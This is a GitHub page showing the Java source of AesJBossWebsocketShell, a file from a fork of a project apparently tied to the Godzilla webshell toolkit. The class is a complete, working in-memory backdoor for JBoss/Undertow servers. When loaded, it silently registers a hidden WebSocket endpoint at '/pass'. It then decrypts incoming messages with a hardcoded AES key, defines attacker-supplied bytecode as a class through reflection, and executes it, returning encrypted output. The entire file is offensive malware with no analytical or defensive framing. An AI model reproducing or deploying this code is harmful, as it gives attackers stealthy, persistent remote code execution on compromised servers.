forked from BeichenDream/GodzillaMemoryShellProject
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathAesJBossWebsocketShell.java
More file actions
225 lines (190 loc) · 7.41 KB
/
Copy pathAesJBossWebsocketShell.java
File metadata and controls
225 lines (190 loc) · 7.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
import javax.servlet.ServletContext;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
import java.util.HashSet;
public class AesJBossWebsocketShell extends Endpoint implements MessageHandler.Whole<ByteBuffer>{
private static boolean initialized = false;
private static final Object lock = new Object();
private Class payload = null;
private Session session = null;
private String xc = "3c6e0b8a9c15224a";
private String pass = "pass";
static {
new AesJBossWebsocketShell();
}
public AesJBossWebsocketShell(){
synchronized (lock){
if (!initialized){
initialized = true;
try {
addEndpoint(this);
}catch (Throwable ignored){
}
}
}
}
public AesJBossWebsocketShell(Session session){
this.session = session;
}
public static Object[] getContexts() throws Throwable {
HashSet contexts = new HashSet();
Object servletRequestContext = loadClassEx("io.undertow.servlet.handlers.ServletRequestContext").getMethod("current").invoke(null);
Object currentServletContext= servletRequestContext.getClass().getMethod("getCurrentServletContext").invoke(servletRequestContext);
contexts.add(currentServletContext);
return contexts.toArray();
}
private boolean addEndpoint(Endpoint endpoint) throws Throwable {
Object[] contexts = getContexts();
boolean isOk = false;
try {
for (int i = 0; i < contexts.length; i++) {
Object context = contexts[i];
try {
ServletContext servletContext = (ServletContext) context;
int maxBinaryMessageBufferSize = 10485760;
String websocketPath = String.format("/%s",pass);
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(endpoint.getClass(),websocketPath).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
Field deploymentCompleteField = getField(container,"deploymentComplete");
try {
try {
if (deploymentCompleteField!=null){
deploymentCompleteField.set(container,false);
}
}catch (Throwable e){
}
if (container.getDefaultMaxBinaryMessageBufferSize() < maxBinaryMessageBufferSize){
container.setDefaultMaxBinaryMessageBufferSize(maxBinaryMessageBufferSize);
}
container.addEndpoint(configEndpoint);
isOk = true;
if (deploymentCompleteField!=null){
deploymentCompleteField.set(container,true);
}
} catch (Throwable e) {
}
} catch (Throwable e) {
}
}
}catch (Throwable e){
}
return isOk;
}
public static Field getField(Object obj, String fieldName){
Class clazz = null;
if(obj == null){
return null;
}
if (obj instanceof Class){
clazz = (Class)obj;
}else {
clazz = obj.getClass();
}
Field field = null;
while (clazz!=null){
try {
field = clazz.getDeclaredField(fieldName);
clazz = null;
}catch (Exception e){
clazz = clazz.getSuperclass();
}
}
if (field != null){
field.setAccessible(true);
}
return field;
}
static Class loadClassEx(String className) throws ClassNotFoundException{
try {
return Class.forName(className);
} catch (Throwable e) {
try {
return Class.forName(className, true, Thread.currentThread().getContextClassLoader());
} catch (Throwable ignored) {
try {
Thread[] threads = new Thread[Thread.activeCount()];
Thread.enumerate(threads);
for (int i = 0; i < threads.length; i++) {
Thread thread = threads[i];
if (thread == null) {
continue;
}
try {
ClassLoader loader = thread.getContextClassLoader();
return loader.loadClass(className);
} catch (Throwable ignored2) {
}
}
} catch (Throwable ignored2) {
}
}
}
throw new ClassNotFoundException(className);
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f=null;
if (obj instanceof Field){
f=(Field)obj;
}else {
f = getField(obj, fieldName);
}
if (f != null) {
return f.get(obj);
}
return null;
}
public byte[] aes(byte[] s,boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s);
}catch (Exception e){
return null;
}
}
public void onOpen(Session session, EndpointConfig endpointConfig) {
session.addMessageHandler(new AesJBossWebsocketShell(session));
}
private Class defClass(byte[] classBytes) throws Throwable {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], AesJBossWebsocketShell.class.getClassLoader());
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
return (Class) defineClassMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}
public void onMessage(ByteBuffer byteBuffer) {
try {
int limit = byteBuffer.limit();
byte[] data = new byte[limit];
byteBuffer.get(data,0,limit);
data = aes(data,false);
byte[] response = new byte[0];
if (payload == null) {
payload = defClass(data);
}else {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Object obj = payload.newInstance();
obj.equals(data);
obj.equals(bos);
obj.toString();
response = bos.toByteArray();
}
session.getBasicRemote().sendBinary(ByteBuffer.wrap(aes(response,true)));
}catch (Throwable e){
try {
session.close();
} catch (IOException ex) {
}
}
}
}